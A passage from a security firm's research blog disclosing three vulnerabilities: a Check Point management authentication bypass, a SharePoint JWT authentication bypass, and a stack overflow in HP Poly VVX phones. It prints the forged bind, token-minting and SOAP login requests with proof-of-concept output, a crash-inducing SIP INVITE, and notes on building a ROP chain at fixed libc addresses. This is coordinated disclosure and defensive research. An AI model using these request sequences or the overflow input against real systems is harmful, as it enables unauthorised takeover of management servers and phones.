    :application_login ("CPM Server")
    :client_without_administrator (true)
)

Despite the :certificate_bind field name, the PoC does not load or present a client certificate in its Python TLS context. The bind request only provides the :DN claim as a text string. On a vulnerable server, the bind succeeds because the application login path accepts :DN as the effective SIC identity. The PoC then sends an open-database request, shown below, and receives the application login token described in Check Point's advisory.

(
    :type (command)
    :subject (open-database)
    :body (
        :Name ()
        :db_open_reason ()
        :dle_session_id ()
        :database ()
        :db_open_id ("(nil)")
    )
    :no-reply (false)
)

The open-database response is a binary-encoded FwSet object. The PoC extracts the 43-character DLE token from that response and then uses it as a CPM DLESESSIONID value.

The next step is to perform a gen-sso-token request. The forged application session asks FWM to create a SmartConsole ticket whose original client claims system_admin, local SOAP binding, and a permission bitmap indicating full permissions (i.e. all permission bits are set):

(
    :type (command)
    :subject (gen-sso-token)
    :body (
        :type (SmartConsole)
        :sso_original_client (SmartConsole
            :lower_name (system_admin)
            :soap_local_bind (1)
            :permissions ("ffffffff|ffffffff|ffffffff")
        )
    )
)

The native FWM authorization code has a special case for this command. If the current client is treated as a Check Point config administrator (which it will be), a gen-sso-token request is allowed before the normal permission mask check, as shown in [1] below. 

// Source: work/native_patch/t146/fw1/fw1/bin/fwm.full (fwm_is_authorized)

_BOOL4 __cdecl fwm_is_authorized(int a1, int a2, int a3)
{
int v3; // eax
int v4; // eax
int v5; // eax
bool v6; // zf
int v7; // edx
int v9; // [esp+14h] [ebp-34h]
int v10; // [esp+18h] [ebp-30h]
const char *v11; // [esp+1Ch] [ebp-2Ch]
_DWORD v12[7]; // [esp+2Ch] [ebp-1Ch] BYREF

  v11 = *(const char **)a2;
  v10 = CPMIGetClientPermission(a1);
  v12[0] = 0;
  v9 = CPMIGetClientAdvancedPermission(a1);
  fwobj_getint(a1, g_szCPMI_SOAP_LOCAL_BIND, v12);
  if ( v12[0] != 1 )
  {
    if ( is_fwmalert_client(a1) && strcmp(v11, "fwm-alert") )
      return 0;
    v3 = fwobj_safe_get(a1, g_szCPMI_LOWER_NAME);
    if ( strcmp(v11, "gen-sso-token") || !fwm_isCpconfigAdmin(v3) ) // <-- [1]
    {
      // Normal command permission checks follow.
      // ...
      return 0;
    }
  }
  return 1;
}

The gen-sso-token response contains a new SSO ticket. The attacker then redeems that ticket through the normal SmartConsole SOAP login path. The request below shows only the fields that matter to this analysis:

POST /cpmws/LoginSvcRemote HTTP/1.1
Host: 192.168.86.15:19009
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:l="http://www.checkpoint.com/DleWebService/LoginSvcRemote"
 xmlns:d="http://www.checkpoint.com/management/objects/schema/DleServerCoreSvc"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soap:Body>
    <l:loginNew>
      <d:loginRequest>
        <d:applicationName>SmartConsole</d:applicationName>
        <d:domain>a0eebc99-afed-4ef8-bb6d-fedfedfedfed</d:domain>
        <d:authenticationInfo xsi:type="d:UserSSOTokenAuthenticationInfo">
          <d:username>system_admin</d:username>
          <d:SSOToken>512d49aa4c026d57177bea06dd28669c889479bfa8ea6d3b53fabe59ec9e0a2e</d:SSOToken>
        </d:authenticationInfo>
      </d:loginRequest>
    </l:loginNew>
  </soap:Body>
</soap:Envelope>

The loginNew response returns the two identifiers that SmartConsole uses for later requests:

<loginNewResponse>
  <return>
    <clientSessionId>ZMKhaQEsZ7bkMSlMVR7ARhvQIeTCdqwlvrcN-Ux4CvI</clientSessionId>
    <sid>hRA3CPLRpTalxBIiv3miYGFlLy6JNHYQwqcKhD4Aktg</sid>
  </return>
</loginNewResponse>

At this point, the attacker has moved from unauthenticated network access to a SmartConsole session identified by sid and clientSessionId. Ticket redemption is also the step that produces the advisory's log based IOC, with a message “Authentication method: application token” logged in the audit log, as shown in Figure 2 below.

figure2.png

Figure 2: Audit Log IOC.

Exploitation

Our PoC implements the minimum SIC/CPMI bootstrap needed to obtain the application token, mint the SmartConsole ticket, redeem it over SOAP, and display the results of several privileged operations before and after ticket redemption .

The following shows our PoC running against a vulnerable R81.20 target.

$ python3 CVE-2026-16232.py --target 192.168.86.15
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W45UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
    hostName: gw-5622ca
    hostIpAddress: 192.168.86.15
    osName: Linux
    osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 34bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
    admin: UNIX_PASSWORD
    Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
    CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD

For the purpose of demonstrating the vulnerability and the level of access the authentication bypass achieves, the PoC uses the authentication bypass to access some protected resources. Specifically, the PoC retrieves some basic system information via a call to getServerInfo, and retrieves the SmartConsole admin accounts via a call to GetAllAdmins.

First, the PoC uses the application token as a DLESESSIONID value for PerformanceTestSvcRemote.getServerInfo. The same SOAP method returns a fault without a valid session, while the application token returns the server information

The PoC then sends the same GetAllAdmins query twice, once with the application token and once with the redeemed SmartConsole session.

Using only the application token receives a successful query response with zero visible records, while using the redeemed SmartConsole session receives all records available.

Running the same PoC against a patched R82.10 target shows the malicious application bind request failing.

$ python3 CVE-2026-16232.py --target 192.168.86.16
[+] Targeting: 192.168.86.16
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin
[-] Application bind failed. The target is likely patched and not vulnerable.

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-16232 which contains further details.

CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED)

14 July 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the first vulnerability in this chain, the authentication bypass vulnerability CVE-2026-55040. The RCE component of the exploit chain is expected to be patched by Microsoft in the next update cycle for August 2026. The exploit chain was developed as an entry for the recent Pwn2Own Berlin hacking competition – part of Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

CVE-2026-55040 has a CVSSv3.1 score of 9.1 (Critical), and a Common Weakness Enumeration (CWE) of CWE-1390: Weak Authentication.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN). A UPN is the primary logon name for a user in either Windows AD or Microsoft Entra ID, and is formatted similar to that of an email address, e.g. administrator@domain.local.

In the example screenshot below, with identifying information redacted, a Rapid7 Labs proof-of-concept script discovers potential SharePoint users via SID enumeration and then leverages CVE-2026-55040 to bypass authentication on the target SharePoint site to assume the identity of that user — ultimately identifying the SharePoint site administrator user account.

Rapid7-Labs-PoC-CVE-2026-55040.png
Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

An attacker who successfully exploits CVE-2026-55040 can perform operations against the target SharePoint site as the user they identify as. Furthermore, this authentication bypass can be chained to additional vulnerabilities within the authenticated attack surface of the target site.

Rapid7 Labs has chained the authentication bypass CVE-2026-55040 with a separate RCE vulnerability for unauthenticated RCE. Patching CVE-2026-55040 will successfully break this exploit chain; this underscores the importance of patching vulnerabilities such as authentication bypasses, which can break complex and high-impact exploit chains. The RCE component has been disclosed to Microsoft and is expected to be patched in the scheduled August patch cycle.

Leveraging AI

To develop our SharePoint exploit chain, Rapid7 Labs undertook a research project divided into two main sprints, the first in January and the second in March, 2026. While both sprints did encompass more traditional vulnerability research such as manual code review and reverse engineering, a significant amount of the work was undertaken through an agent. Over 24 active days of agentic work, we leveraged 96 sessions, issued 256 prompts, and generated approximately 80,000 agentic tool calls.

The initial January sprint was unsuccessful, resulting in no findings that could be leveraged for an exploit chain. We used this sprint to experiment with several different publicly available models, along with different workflows to navigate and reason across a massive and complex codebase. However, our second sprint in March was successful and yielded, through a heavily prompted agent, a two-vulnerability exploit chain that achieved unauthenticated RCE.

The improvement in quality between January and March in terms of agentic work, along with our improved workflows, was noticeable. This highlights the speed at which this field is evolving, how publicly available models are improving, and how as research teams develop their workflows, the results begin to compound.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for CVE-2026-55040 within 30 days of this disclosure.

Remediation

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-55040 with Authenticated vulnerability checks available in the July 15 content release

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • June 30, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • June 30, 2026: Microsoft provides supporting information to Rapid7.

  • July 14, 2026: This disclosure for CVE-2026-55040.

  • July 14, 2026: The blog is updated to reflect that Microsoft’s published advisory now scores CVE-2026-55040 as critical severity, rather than medium severity.
  • July 15, 2026: Updated to reflect the availability of vulnerability checks in the July 15 content release.

CVE-2026-0826: Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones (FIXED)

1 June 2026 at 09:00

Overview

Rapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. 

The vulnerability is present in the device's parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker. 

While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP Conference series (Trio 8800, Trio 8500, and Trio 8300).

CVE-2026-0826 has a CVSSv4 score of 9.2 (Critical), and a Common Weakness Enumeration (CWE) of CWE-121: Stack-based Buffer Overflow.

Impact

A Metasploit exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.

Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version 6.4.7.4477.

 

image1.png
Figure 1: Metasploit exploit module targeting a Poly VVX 450 device.

As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.

Technical analysis

Our analysis is based upon a VVX 450 device running firmware version 6.4.7.4477. During testing, the test device had an IPv4 address of 192.168.86.80. The non-default ICE feature was enabled by specifying the following in the device configuration:

device.feature.nat.ice.enabled="1"

The main binary that provides the majority of functionality to the device is /user/local/root/polyapp (32 bit ARM, Little Endian). This binary parses SDP data provided in an Session Initiation Protocol (SIP) request over UDP on port 5060.

When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the RFC8839 5.1:

The following is an example SDP line for a UDP server-reflexive "candidate" attribute for the RTP component:
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

Using the example from the RFC, a SIP request can contain SDP data that looks like this, with the candidate attribute appearing on the final line:

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998

The /user/local/root/polyapp binary has two functions that will parse incoming SDP data, named ParseRemoteSDP and IceSession::ParseRemoteSdpForAddresses. In both cases, when a string line starting with “a=candidate:”  is found, a helper function ParseICECandidate (at address 0xB12780) is called to parse the expected candidate attribute held in the remainder of that string line. The intent is to parse out the individual components of a candidate attribute which are separated by white space characters.

This helper function ParseICECandidate contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to memcpy, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.

int __fastcall ParseICECandidate( const void *string_line, size_t string_line_length, int a3, int *a4, _DWORD *a5, int *a6, std::string *a7, _DWORD *a8, _DWORD *a9, std::string *a10, _DWORD *a11)
{
	size_t v11; // r0
	char *v12; // r0
	size_t v13; // r0
	char *v14; // r0
	size_t v15; // r0
	char buffer256[256]; // [sp+25h] [bp-11Fh] BYREF
	char v22[7]; // [sp+128h] [bp-1Ch] BYREF
	char v23; // [sp+12Fh] [bp-15h] BYREF
	char *nptr; // [sp+130h] [bp-14h]
	char v25; // [sp+137h] [bp-Dh]

	v25 = 0;
	if ( !string_line )
		return 0;
	memcpy(buffer256, string_line, string_line_length); // <--- buffer256 can be overflowed due to no destination length check
	buffer256[string_line_length] = 0;
	nptr = strtok_r(buffer256, ":", (char **)&buffer256[255]);
	nptr = strtok_r(0, " ", (char **)&buffer256[255]);
	if ( !nptr )
		return 0;

// ...snip...

To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious candidate attribute will be comprised of:

  • An attribute name of “a=candidate:”, which is 12 bytes long.

  • 244 A characters, to fill out variable buffer256 (shown in the code snippet above), as 244 + 12 is 256.

  • 19 B characters, to provide padding between the variable buffer256 and the saved registers on the current stack frame.

  • The characters 1111 (0x31313131 in hex) to overwrite the saved r4 register.

  • The characters 2222 (0x32323232 in hex) to overwrite the saved r5 register.

  • The characters 3333 (0x33333333 in hex) to overwrite the saved r11 register.

  • The characters 4444 (0x34343434 in hex) to overwrite the saved pc register.

  • A large number of C characters (0x43 in hex) to show the remaining attacker controlled data on the stack.

The entire example SIP INVITE request sent to the device is shown below:

INVITE sip:192.168.86.80:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.86.122:5060
Route: <sip:192.168.86.122:5060;lr>
From: <sip:192.168.86.80:5060>
To: <sip:192.168.86.80:5060>
Contact: <sip:192.168.86.80>
Call-ID: pmpcdwrwqojvfqin
CSeq: 5892 INVITE
Content-Type: application/sdp
Content-Length: 495

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB1111222233334444CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Upon receiving this SIP INVITE request, the helper function ParseICECandidate will parse the malicious candidate attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (pc) register, several general purpose registers, and the data located at the stack pointer (sp).

image2.png
Figure 2: Inspecting a core dump showing the effects of the overflow.

Exploitation

Leveraging the overflow to execute arbitrary attacker controlled code is relatively straight forward. We can first note that Address Space Layout Randomization (ASLR) is present on the target, as shown below by inspecting /proc/sys/kernel/randomize_va_space in a root shell.

# uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown

# cat /proc/sys/kernel/randomize_va_space
1

Inspecting the polyapp binary with the checksec tool we can see that No Execute (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a Return Oriented Programming (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a Position Independent Executable (PIE).

$ /usr/bin/checksec --file=rootfs/root/polyapp --format=json | jq
{
	"rootfs/root/polyapp": {
		"relro": "no",
		"canary": "no",
		"nx": "yes",
		"pie": "no",
		"rpath": "no",
		"runpath": "no",
		"symbols": "no",
		"fortify_source": "no",
		"fortified": "0",
		"fortify-able": "33"
	}
}

As the polyapp binary is always loaded at a low address (0x00008000), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (0x00) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed. 

We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.

Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, libc will always be loaded at a Virtual Address (VA) of 0x40a5c000 on firmware version 6.4.7.4477. This does not change between process restarts or device cold reboots. Shown below is the same load address for libc in the polyapp process, across a cold reboot of the device.

# date
Fri Dec 12 15:05:56 UTC 2025
# ps -A|grep polyapp
 1461 root569m S/usr/local/root/polyapp 
# cat /proc/1461/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581/lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581/lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581/lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581/lib/libc-2.8.so

# date
Fri Dec 12 15:14:12 UTC 2025
# ps -A|grep polyapp
 1482 root      569m S    /usr/local/root/polyapp 
# cat /proc/1482/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581        /lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581        /lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581        /lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581        /lib/libc-2.8.so

Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of 0x40000000 and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the libc library. The gadgets we choose will not contain null bytes in their addresses.

We create a ROP chain that will execute an arbitrary OS command via the system standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.

Remediation

The following remediation guidance has been provided by the vendor.

“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”

The following table indicates the appropriate fixed software releases.

Product Name

Updated version

VVX

UCS 6.4.8

Trio 8300

UCS 8.1.7

Trio 8500

UCS 7.2.8

Trio 8800

UCS 7.2.8

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Rapid7 Customers

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-0826 with a vulnerability check available in the June 2 content release. 

Disclosure timeline

  • January 6, 2026: Rapid7 makes initial outreach to HP who confirm contact the same day.

  • January 7, 2026: Rapid7 discloses the technical writeup and exploit code to HP.

  • January 9, 2026: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.

  • January 12, 2026: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.

  • April; 21, 2026: HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.

  • May 5, 2026: HP provides affected models and confirms coordinate disclosure for June 1.

  • May 18, 2026: HP provides remediation version numbers for patched firmware.

  • June 1, 2026: This disclosure.

  • June 2, 2026: Added Rapid7 Customers section to indicate availability of a vulnerability check, added link to vendor advisory.

❌
❌